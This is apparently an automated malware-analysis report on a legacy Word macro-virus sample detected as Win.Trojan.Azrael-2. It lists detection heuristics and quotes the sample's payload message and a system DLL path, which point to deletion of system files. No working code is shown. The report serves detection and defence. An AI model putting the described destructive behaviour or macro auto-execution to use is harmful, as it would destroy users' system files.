Win.Trojan.Azrael-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macro virus markers, specifically 'RSN MACRO VIRUS Goat file', and is detected by ClamAV as Win.Trojan.Azrael-2. The document body includes a string 'j(Azrael cleaned your system directory !!!' which, combined with the macro virus markers, suggests an attempt to execute malicious code, likely involving the 'c:\windows\system\*.dll' path.

Heuristics 3

  • ClamAV: Win.Trojan.Azrael-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Azrael-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.
